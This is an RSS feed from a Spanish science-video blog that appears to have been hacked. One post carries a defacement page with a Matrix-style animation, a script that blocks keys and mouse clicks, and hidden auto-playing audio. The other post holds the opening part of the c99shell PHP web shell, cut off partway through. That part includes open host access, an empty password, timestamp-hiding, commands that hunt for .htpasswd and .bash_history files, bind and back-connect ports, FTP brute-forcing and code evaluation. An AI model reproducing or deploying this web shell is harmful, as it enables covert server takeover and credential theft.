<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Videos Youtube de Ciencia</title>
	<atom:link href="http://videosdeciencia.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://videosdeciencia.com</link>
	<description>Videos de youtube de Física, Química, Biología, Matemáticas y otras yerbas</description>
	<lastBuildDate>Fri, 22 Jun 2012 01:01:54 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>index</title>
		<link>http://videosdeciencia.com/2012/06/21/index/</link>
		<comments>http://videosdeciencia.com/2012/06/21/index/#comments</comments>
		<pubDate>Thu, 21 Jun 2012 23:07:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=162</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><br />
<html xmlns="http://www.w3.org/1999/xhtml"><br />
<head><br />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></p>
<style>
	body
	{</p>
<p>background-color: #000;
/*background: black url(""); background-image:url(http://i66.servimg.com/u/f66/14/86/38/04/ground10.gif); */</p>
<p>margin-top: 10px;
margin-left: 0px;
padding: 0;
margin-right: 0px;</p>
<p>		line-height: 15px; /* Acorta la distancia vertical de caracteres */
		font-size: 12px;
	}
	div.cadena
	{
		position: absolute; /* Para poder posicionar en 'x' y 'y' */
		color: #0f0;
		text-align: center;
		width: 10px; /* Forza los caracteres a irse a otra línea */
		overflow: visible; /* Para que la cadena no se coma los carateres */
		font-family: 'Courier New'; /* Fuente más o menos ad hoc a matrix */
	}
</style>
<p><script language="JavaScript">
function click() {
if (event.button==2) {
alert(' Protegido!! Construye tus ideas ');
}
}
function keypresed() {
alert('Protegido!! Construye tus ideas ');
}</p>
<p>document.onkeydown=keypresed;
document.onmousedown=click;</p>
<p></script></p>
<p><script>
	/**
	 * Código para textos en forma de casacada al
	 * estilo Matrix.
	 * 
	 * Fecha: 11 de Diciembre del 2010
	 * Autor: Gamaliel Espinoza Macedo
	 */</p>
<p>	// Cuántas cadenas se van a mostrar al mismo tiempo
	var NUMERO_CADENAS   = 50;
	// Cuántos caracteres contendrá cada cadena
	var TAMANO_CADENA    = 10;
	// Máxima cantidad de píxeles que una cadena puede
	// recorrer en cada ciclo de la animación.
	var VELOCIDAD_MAXIMA = 60;
	// Aquí se almacenarán todas las cadenas existentes
	var cadenas = new Array(NUMERO_CADENAS);</p>
<p>	window.onload = function()
	{		
		// Crear 'n' número de cadenas basado
		// en la variable NUMERO_CADENAS.
		for( var i = 0; i < NUMERO_CADENAS; i++ )
		{
			var divCadena = document.createElement('div');
			// Ponerle la clase tomada desde la hoja de estilos
			divCadena.className = 'cadena';
			// Aplicar la cadena aleatoria al objeto
			divCadena.innerHTML = generarCadenaAleatoria();</p>
<p>			// Lo agregamos al arreglo principal de cadenas
			cadenas[i] = divCadena;</p>
<p>			// Y finalmente al "plano de gráficos"
			document.body.appendChild( cadenas[i] );</p>
<p>			// Posicionar el elemento
			prepararCadena(divCadena);
		}</p>
<p>		// Iniciar la animación
		animar();
	}</p>
<p>	function animar()
	{
		var c;
		for( var i = 0; i < cadenas.length; i++ )
		{
			c = cadenas[i];</p>
<p>			// Incrementamos la posición vertical de
			// acuerdo a la velocida de la cadena.
			c.style.top = (c.offsetTop + c.velocidad) + 'px';</p>
<p>			// Al final de cada movimiento, verificamos si
			// la cadena se fue más abajo de lo alto del body,
			// si es así, volvemos a definir sus posiciones.
			if( c.offsetTop > window.innerHeight )
				prepararCadena(c);
		}</p>
<p>		// Repetir el proceso
		setTimeout('animar();', 100);
	}</p>
<p>	function prepararCadena(cad)
	{
		// La velocidad será un número aleatorio, tomando
		// como límite el valor de VELOCIDAD_MAXIMA.
		// Le vamos a sumar 1 al resultado, de esta manera
		// evitamos que la velocidad sea 0.
		cad.velocidad = Math.round( Math.random() * VELOCIDAD_MAXIMA ) + 1;</p>
<p>		// El color puede ser una variante de verde, para eso
		// utilizamos un tipo de color RGB (según el estándar CSS),
		// solo cambiando el G por un número aleatorio, tomando
		// como máximo el 255 (no se puede más).
		cad.style.color = 'rgb(0,'+( Math.round(Math.random()*255) )+',0)';</p>
<p>		// Aquí simplemente definimos la posición horizontal
		// sin pasar del límite de tamaño de la página.
		cad.style.left = Math.round(Math.random() * document.body.offsetWidth) + 'px';</p>
<p>		// Y colocamos la cadena antes del píxel 0, así no
		// la podremos en primaria instancia.
		cad.style.top  = (-cad.offsetHeight) + 'px';
	}</p>
<p>	function generarCadenaAleatoria()
	{
		var strCadena = '';
		var intLetra  =  0;
		for( var i = 0; i < TAMANO_CADENA; i++ )
		{
			// Calcular un código ASCII aleatorio.
			intLetra = Math.round(Math.random() * 27) + 65;
			// Convertir el código ASCII a caracter de cadena.
			strCadena += String.fromCharCode(intLetra) + ' ';
		}</p>
<p>		return strCadena;
	}</p>
<p></script><br />
</head></p>
<p><body></p>
<p><center><br />
<object style="width: 600px; height: 400px; display: block; position: relative;"><param name="movie" value=""><param name="movie" value="" align="left"><param name="play" value="true"><param name="wmode" value="opaque"><embed src="http://websgt.site88.net/host/bandera.swf" movie="http://websgt.site88.net/host/bandera.swf" play="true" wmode="transparent" width="600" height="400"  ></embed><img src="http://websgt.site88.net/host/comando%20gt.png" style="width: 410px;  height: 307px; display: block; position: absolute; top: 45px; right: 77px; alt: ;" /><br />
</object><br />
 </center></p>
<p><embed src="http://www.websgt.site88.net/host/skrillex_bangarang.mp3" hidden="true" autostart="true" width="1" height="1" loop="1" quality="high"></embed></body><br />
</html></p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/21/index/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://www.websgt.site88.net/host/skrillex_bangarang.mp3" length="0" type="audio/mpeg" />
		</item>
		<item>
		<title>shell</title>
		<link>http://videosdeciencia.com/2012/06/21/shell/</link>
		<comments>http://videosdeciencia.com/2012/06/21/shell/#comments</comments>
		<pubDate>Thu, 21 Jun 2012 22:53:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=160</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><?php<br />
//Starting calls<br />
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}<br />
error_reporting(5);<br />
@ignore_user_abort(TRUE);<br />
@set_magic_quotes_runtime(0);<br />
$win = strtolower(substr(PHP_OS,0,3)) == "win";<br />
define("starttime",getmicrotime());<br />
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&#038;$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != &#8220;GLOBALS&#8221;) {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}<br />
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);<br />
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}</p>
<p>$shver = &#8220;1.0 pre-release build #16&#8243;; //Current version<br />
//CONFIGURATION AND SETTINGS<br />
if (!empty($unset_surl)) {setcookie(&#8220;c99sh_surl&#8221;); $surl = &#8220;&#8221;;}<br />
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(&#8220;c99sh_surl&#8221;,$surl);}<br />
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL<br />
}</p>
<p>$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.</p>
<p>if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = &#8220;&#038;&#8221;; foreach (explode(&#8220;&#038;&#8221;,getenv(&#8220;QUERY_STRING&#8221;)) as $v) {$v = explode(&#8220;=&#8221;,$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(&#8220;http://&#8221;,&#8221;https://&#8221;,&#8221;ssl://&#8221;,&#8221;ftp://&#8221;,&#8221;\\\\&#8221;) as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name).&#8221;=&#8221;.urlencode($value).&#8221;&#038;&#8221;;}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= &#8220;surl_autofill_include=1&#038;&#8221;;}}<br />
if (empty($surl))<br />
{<br />
 $surl = &#8220;?&#8221;.$includestr; //Self url<br />
}<br />
$surl = htmlspecialchars($surl);</p>
<p>$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.</p>
<p>//Authentication<br />
$login = &#8220;&#8221;; //login<br />
//DON&#8217;T FORGOT ABOUT PASSWORD!!!<br />
$pass = &#8220;&#8221;; //password<br />
$md5_pass = &#8220;&#8221;; //md5-cryped pass. if null, md5($pass)</p>
<p>$host_allow = array(&#8220;*&#8221;); //array (&#8220;{mask}1&#8243;,&#8221;{mask}2&#8243;,&#8230;), {mask} = IP or HOST e.g. array(&#8220;192.168.0.*&#8221;,&#8221;127.0.0.1&#8243;)<br />
$login_txt = &#8220;Restricted area&#8221;; //http-auth message.<br />
$accessdeniedmess = &#8220;<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.&#8221;.$shver.&#8221;</a>: access denied&#8221;;</p>
<p>$gzipencode = TRUE; //Encode with gzip?</p>
<p>$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)</p>
<p>$c99sh_updateurl = &#8220;http://ccteam.ru/update/c99shell/&#8221;; //Update server<br />
$c99sh_sourcesurl = &#8220;http://ccteam.ru/files/c99sh_sources/&#8221;; //Sources-server</p>
<p>$filestealth = TRUE; //if TRUE, don&#8217;t change modify- and access-time</p>
<p>$donated_html = &#8220;<center><b>Owned by hacker</b></center>&#8220;;<br />
/* If you publish free shell and you wish<br />
add link to your site or any other information,<br />
put here your html. */<br />
$donated_act = array(&#8220;&#8221;); //array (&#8220;act1&#8243;,&#8221;act2,&#8221;&#8230;), if $act is in this array, display $donated_html.</p>
<p>$curdir = &#8220;./&#8221;; //start folder<br />
//$curdir = getenv(&#8220;DOCUMENT_ROOT&#8221;);<br />
$tmpdir = &#8220;&#8221;; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)<br />
$tmpdir_log = &#8220;./&#8221;; //Directory logs of long processes (e.g. brute, scan&#8230;)</p>
<p>$log_email = &#8220;user@host.tld&#8221;; //Default e-mail for sending logs</p>
<p>$sort_default = &#8220;0a&#8221;; //Default sorting, 0 &#8211; number of colomn, &#8220;a&#8221;scending or &#8220;d&#8221;escending<br />
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.</p>
<p>// Registered file-types.<br />
//  array(<br />
//   &#8220;{action1}&#8221;=>array(&#8220;ext1&#8243;,&#8221;ext2&#8243;,&#8221;ext3&#8243;,&#8230;),<br />
//   &#8220;{action2}&#8221;=>array(&#8220;ext4&#8243;,&#8221;ext5&#8243;,&#8221;ext6&#8243;,&#8230;),<br />
//   &#8230;<br />
//  )<br />
$ftypes  = array(<br />
 &#8220;html&#8221;=>array(&#8220;html&#8221;,&#8221;htm&#8221;,&#8221;shtml&#8221;),<br />
 &#8220;txt&#8221;=>array(&#8220;txt&#8221;,&#8221;conf&#8221;,&#8221;bat&#8221;,&#8221;sh&#8221;,&#8221;js&#8221;,&#8221;bak&#8221;,&#8221;doc&#8221;,&#8221;log&#8221;,&#8221;sfc&#8221;,&#8221;cfg&#8221;,&#8221;htaccess&#8221;),<br />
 &#8220;exe&#8221;=>array(&#8220;sh&#8221;,&#8221;install&#8221;,&#8221;bat&#8221;,&#8221;cmd&#8221;),<br />
 &#8220;ini&#8221;=>array(&#8220;ini&#8221;,&#8221;inf&#8221;),<br />
 &#8220;code&#8221;=>array(&#8220;php&#8221;,&#8221;phtml&#8221;,&#8221;php3&#8243;,&#8221;php4&#8243;,&#8221;inc&#8221;,&#8221;tcl&#8221;,&#8221;h&#8221;,&#8221;c&#8221;,&#8221;cpp&#8221;,&#8221;py&#8221;,&#8221;cgi&#8221;,&#8221;pl&#8221;),<br />
 &#8220;img&#8221;=>array(&#8220;gif&#8221;,&#8221;png&#8221;,&#8221;jpeg&#8221;,&#8221;jfif&#8221;,&#8221;jpg&#8221;,&#8221;jpe&#8221;,&#8221;bmp&#8221;,&#8221;ico&#8221;,&#8221;tif&#8221;,&#8221;tiff&#8221;,&#8221;avi&#8221;,&#8221;mpg&#8221;,&#8221;mpeg&#8221;),<br />
 &#8220;sdb&#8221;=>array(&#8220;sdb&#8221;),<br />
 &#8220;phpsess&#8221;=>array(&#8220;sess&#8221;),<br />
 &#8220;download&#8221;=>array(&#8220;exe&#8221;,&#8221;com&#8221;,&#8221;pif&#8221;,&#8221;src&#8221;,&#8221;lnk&#8221;,&#8221;zip&#8221;,&#8221;rar&#8221;,&#8221;gz&#8221;,&#8221;tar&#8221;)<br />
);</p>
<p>// Registered executable file-types.<br />
//  array(<br />
//   string &#8220;command{i}&#8221;=>array(&#8220;ext1&#8243;,&#8221;ext2&#8243;,&#8221;ext3&#8243;,&#8230;),<br />
//   &#8230;<br />
//  )<br />
//   {command}: %f% = filename<br />
$exeftypes  = array(<br />
 getenv(&#8220;PHPRC&#8221;).&#8221; -q %f%&#8221; => array(&#8220;php&#8221;,&#8221;php3&#8243;,&#8221;php4&#8243;),<br />
 &#8220;perl %f%&#8221; => array(&#8220;pl&#8221;,&#8221;cgi&#8221;)<br />
);</p>
<p>/* Highlighted files.<br />
  array(<br />
   i=>array({regexp},{type},{opentag},{closetag},{break})<br />
   &#8230;<br />
  )<br />
  string {regexp} &#8211; regular exp.<br />
  int {type}:<br />
0 &#8211; files and folders (as default),<br />
1 &#8211; files only, 2 &#8211; folders only<br />
  string {opentag} &#8211; open html-tag, e.g. &#8220;<b>&#8221; (default)<br />
  string {closetag} &#8211; close html-tag, e.g. &#8220;</b>&#8221; (default)<br />
  bool {break} &#8211; if TRUE and found match then break<br />
*/<br />
$regxp_highlight  = array(<br />
  array(basename($_SERVER["PHP_SELF"]),1,&#8221;<font color=\"yellow\">&#8220;,&#8221;</font>&#8220;), // example<br />
  array(&#8220;config.php&#8221;,1) // example<br />
);</p>
<p>$safemode_diskettes = array(&#8220;a&#8221;); // This variable for disabling diskett-errors.<br />
 // array (i=>{letter} &#8230;); string {letter} &#8211; letter of a drive<br />
//$safemode_diskettes = range(&#8220;a&#8221;,&#8221;z&#8221;);<br />
$hexdump_lines = 8;// lines in hex preview file<br />
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line</p>
<p>$nixpwdperpage = 100; // Get first N lines from /etc/passwd</p>
<p>$bindport_pass = &#8220;c99&#8243;;  // default password for binding<br />
$bindport_port = &#8220;31373&#8243;; // default port for binding<br />
$bc_port = &#8220;31373&#8243;; // default port for back-connect<br />
$datapipe_localport = &#8220;8081&#8243;; // default port for datapipe</p>
<p>// Command-aliases<br />
if (!$win)<br />
{<br />
 $cmdaliases = array(<br />
  array(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#8221;, &#8220;ls -la&#8221;),<br />
  array(&#8220;find all suid files&#8221;, &#8220;find / -type f -perm -04000 -ls&#8221;),<br />
  array(&#8220;find suid files in current dir&#8221;, &#8220;find . -type f -perm -04000 -ls&#8221;),<br />
  array(&#8220;find all sgid files&#8221;, &#8220;find / -type f -perm -02000 -ls&#8221;),<br />
  array(&#8220;find sgid files in current dir&#8221;, &#8220;find . -type f -perm -02000 -ls&#8221;),<br />
  array(&#8220;find config.inc.php files&#8221;, &#8220;find / -type f -name config.inc.php&#8221;),<br />
  array(&#8220;find config* files&#8221;, &#8220;find / -type f -name \&#8221;config*\&#8221;"),<br />
  array(&#8220;find config* files in current dir&#8221;, &#8220;find . -type f -name \&#8221;config*\&#8221;"),<br />
  array(&#8220;find all writable folders and files&#8221;, &#8220;find / -perm -2 -ls&#8221;),<br />
  array(&#8220;find all writable folders and files in current dir&#8221;, &#8220;find . -perm -2 -ls&#8221;),<br />
  array(&#8220;find all service.pwd files&#8221;, &#8220;find / -type f -name service.pwd&#8221;),<br />
  array(&#8220;find service.pwd files in current dir&#8221;, &#8220;find . -type f -name service.pwd&#8221;),<br />
  array(&#8220;find all .htpasswd files&#8221;, &#8220;find / -type f -name .htpasswd&#8221;),<br />
  array(&#8220;find .htpasswd files in current dir&#8221;, &#8220;find . -type f -name .htpasswd&#8221;),<br />
  array(&#8220;find all .bash_history files&#8221;, &#8220;find / -type f -name .bash_history&#8221;),<br />
  array(&#8220;find .bash_history files in current dir&#8221;, &#8220;find . -type f -name .bash_history&#8221;),<br />
  array(&#8220;find all .fetchmailrc files&#8221;, &#8220;find / -type f -name .fetchmailrc&#8221;),<br />
  array(&#8220;find .fetchmailrc files in current dir&#8221;, &#8220;find . -type f -name .fetchmailrc&#8221;),<br />
  array(&#8220;list file attributes on a Linux second extended file system&#8221;, &#8220;lsattr -va&#8221;),<br />
  array(&#8220;show opened ports&#8221;, &#8220;netstat -an | grep -i listen&#8221;)<br />
 );<br />
}<br />
else<br />
{<br />
 $cmdaliases = array(<br />
  array(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#8221;, &#8220;dir&#8221;),<br />
  array(&#8220;show opened ports&#8221;, &#8220;netstat -an&#8221;)<br />
 );<br />
}</p>
<p>$sess_cookie = &#8220;c99shvars&#8221;; // Cookie-variable name</p>
<p>$usefsbuff = TRUE; //Buffer-function<br />
$copy_unset = FALSE; //Remove copied files from buffer after pasting</p>
<p>//Quick launch<br />
$quicklaunch = array(<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">&#8220;,$surl),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">&#8220;,&#8221;#\&#8221; onclick=\&#8221;history.back(1)&#8221;),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">&#8220;,&#8221;#\&#8221; onclick=\&#8221;history.go(1)&#8221;),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">&#8220;,$surl.&#8221;act=ls&#038;d=%upd&#038;sort=%sort&#8221;),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">&#8220;,&#8221;"),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">&#8220;,$surl.&#8221;act=search&#038;d=%d&#8221;),<br />
 array(&#8220;<img src=\"".$surl."act=img&#038;img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">&#8220;,$surl.&#8221;act=fsbuff&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Encoder</b>&#8220;,$surl.&#8221;act=encoder&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Tools</b>&#8220;,$surl.&#8221;act=tools&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Proc.</b>&#8220;,$surl.&#8221;act=processes&#038;d=%d&#8221;),<br />
 array(&#8220;<b>FTP brute</b>&#8220;,$surl.&#8221;act=ftpquickbrute&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Sec.</b>&#8220;,$surl.&#8221;act=security&#038;d=%d&#8221;),<br />
 array(&#8220;<b>SQL</b>&#8220;,$surl.&#8221;act=sql&#038;d=%d&#8221;),<br />
 array(&#8220;<b>PHP-code</b>&#8220;,$surl.&#8221;act=eval&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Update</b>&#8220;,$surl.&#8221;act=update&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Feedback</b>&#8220;,$surl.&#8221;act=feedback&#038;d=%d&#8221;),<br />
 array(&#8220;<b>Self remove</b>&#8220;,$surl.&#8221;act=selfremove&#8221;),<br />
 array(&#8220;<b>Logout</b>&#8220;,&#8221;#\&#8221; onclick=\&#8221;if (confirm(&#8216;Are you sure?&#8217;)) window.close()&#8221;)<br />
);</p>
<p>//Highlight-code colors<br />
$highlight_background = &#8220;#c0c0c0&#8243;;<br />
$highlight_bg = &#8220;#FFFFFF&#8221;;<br />
$highlight_comment = &#8220;#6A6A6A&#8221;;<br />
$highlight_default = &#8220;#0000BB&#8221;;<br />
$highlight_html = &#8220;#1300FF&#8221;;<br />
$highlight_keyword = &#8220;#007700&#8243;;<br />
$highlight_string = &#8220;#000000&#8243;;</p>
<p>@$f = $_REQUEST["f"];<br />
@extract($_REQUEST["c99shcook"]);</p>
<p>//END CONFIGURATION</p>
<p>// \/Next code isn&#8217;t for editing\/<br />
@set_time_limit(0);<br />
$tmp = array();<br />
foreach($host_allow as $k=>$v) {$tmp[] = str_replace(&#8220;\\*&#8221;,&#8221;.*&#8221;,preg_quote($v));}<br />
$s = &#8220;!^(&#8220;.implode(&#8220;|&#8221;,$tmp).&#8221;)$!i&#8221;;<br />
if (!preg_match($s,getenv(&#8220;REMOTE_ADDR&#8221;)) and !preg_match($s,gethostbyaddr(getenv(&#8220;REMOTE_ADDR&#8221;)))) {exit(&#8220;<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied &#8211; your host (&#8220;.getenv(&#8220;REMOTE_ADDR&#8221;).&#8221;) not allow&#8221;);}<br />
if (!empty($login))<br />
{<br />
 if (empty($md5_pass)) {$md5_pass = md5($pass);}<br />
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))<br />
 {<br />
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(&#8220;&nbsp;|<br />&#8220;,&#8221; &#8220;,$donated_html));}<br />
  header(&#8220;WWW-Authenticate: Basic realm=\&#8221;c99shell &#8220;.$shver.&#8221;: &#8220;.$login_txt.&#8221;\&#8221;");<br />
  header(&#8220;HTTP/1.0 401 Unauthorized&#8221;);<br />
  exit($accessdeniedmess);<br />
 }<br />
}<br />
if ($act != &#8220;img&#8221;)<br />
{<br />
$lastdir = realpath(&#8220;.&#8221;);<br />
chdir($curdir);<br />
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}<br />
$sess_data = unserialize($_COOKIE["$sess_cookie"]);<br />
if (!is_array($sess_data)) {$sess_data = array();}<br />
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}<br />
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}</p>
<p>$disablefunc = @ini_get(&#8220;disable_functions&#8221;);<br />
if (!empty($disablefunc))<br />
{<br />
 $disablefunc = str_replace(&#8221; &#8220;,&#8221;",$disablefunc);<br />
 $disablefunc = explode(&#8220;,&#8221;,$disablefunc);<br />
}</p>
<p>if (!function_exists(&#8220;c99_buff_prepare&#8221;))<br />
{<br />
function c99_buff_prepare()<br />
{<br />
 global $sess_data;<br />
 global $act;<br />
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,realpath($v));}<br />
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,realpath($v));}<br />
 $sess_data["copy"] = array_unique($sess_data["copy"]);<br />
 $sess_data["cut"] = array_unique($sess_data["cut"]);<br />
 sort($sess_data["copy"]);<br />
 sort($sess_data["cut"]);<br />
 if ($act != &#8220;copy&#8221;) {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}<br />
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}<br />
}<br />
}<br />
c99_buff_prepare();<br />
if (!function_exists(&#8220;c99_sess_put&#8221;))<br />
{<br />
function c99_sess_put($data)<br />
{<br />
 global $sess_cookie;<br />
 global $sess_data;<br />
 c99_buff_prepare();<br />
 $sess_data = $data;<br />
 $data = serialize($data);<br />
 setcookie($sess_cookie,$data);<br />
}<br />
}<br />
foreach (array(&#8220;sort&#8221;,&#8221;sql_sort&#8221;) as $v)<br />
{<br />
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}<br />
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}<br />
}<br />
if ($sort_save)<br />
{<br />
 if (!empty($sort)) {setcookie(&#8220;sort&#8221;,$sort);}<br />
 if (!empty($sql_sort)) {setcookie(&#8220;sql_sort&#8221;,$sql_sort);}<br />
}<br />
if (!function_exists(&#8220;str2mini&#8221;))<br />
{<br />
function str2mini($content,$len)<br />
{<br />
 if (strlen($content) > $len)<br />
 {<br />
  $len = ceil($len/2) &#8211; 2;<br />
  return substr($content, 0,$len).&#8221;&#8230;&#8221;.substr($content,-$len);<br />
 }<br />
 else {return $content;}<br />
}<br />
}<br />
if (!function_exists(&#8220;view_size&#8221;))<br />
{<br />
function view_size($size)<br />
{<br />
 if (!is_numeric($size)) {return FALSE;}<br />
 else<br />
 {<br />
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 .&#8221; GB&#8221;;}<br />
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 .&#8221; MB&#8221;;}<br />
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 .&#8221; KB&#8221;;}<br />
  else {$size = $size . &#8221; B&#8221;;}<br />
  return $size;<br />
 }<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_copy_dir&#8221;))<br />
{<br />
function fs_copy_dir($d,$t)<br />
{<br />
 $d = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$d);<br />
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}<br />
 $h = opendir($d);<br />
 while (($o = readdir($h)) !== FALSE)<br />
 {<br />
  if (($o != &#8220;.&#8221;) and ($o != &#8220;..&#8221;))<br />
  {<br />
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}<br />
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}<br />
   if (!$ret) {return $ret;}<br />
  }<br />
 }<br />
 closedir($h);<br />
 return TRUE;<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_copy_obj&#8221;))<br />
{<br />
function fs_copy_obj($d,$t)<br />
{<br />
 $d = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$d);<br />
 $t = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$t);<br />
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}<br />
 if (is_dir($d))<br />
 {<br />
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}<br />
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}<br />
  return fs_copy_dir($d,$t);<br />
 }<br />
 elseif (is_file($d)) {return copy($d,$t);}<br />
 else {return FALSE;}<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_move_dir&#8221;))<br />
{<br />
function fs_move_dir($d,$t)<br />
{<br />
 $h = opendir($d);<br />
 if (!is_dir($t)) {mkdir($t);}<br />
 while (($o = readdir($h)) !== FALSE)<br />
 {<br />
  if (($o != &#8220;.&#8221;) and ($o != &#8220;..&#8221;))<br />
  {<br />
   $ret = TRUE;<br />
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}<br />
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}<br />
   if (!$ret) {return $ret;}<br />
  }<br />
 }<br />
 closedir($h);<br />
 return TRUE;<br />
}<br />
}<br />
if (!function_exists(&#8220;fs_move_obj&#8221;))<br />
{<br />
function fs_move_obj($d,$t)<br />
{<br />
 $d = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$d);<br />
 $t = str_replace(&#8220;\\&#8221;,DIRECTORY_SEPARATOR,$t);<br />
 if (is_dir($d))<br />
 {<br />
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}<br />
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}<br />
  return fs_move_dir($d,$t);<br />
 }<br />
 elseif (is_file($d))<br />
 {<br />
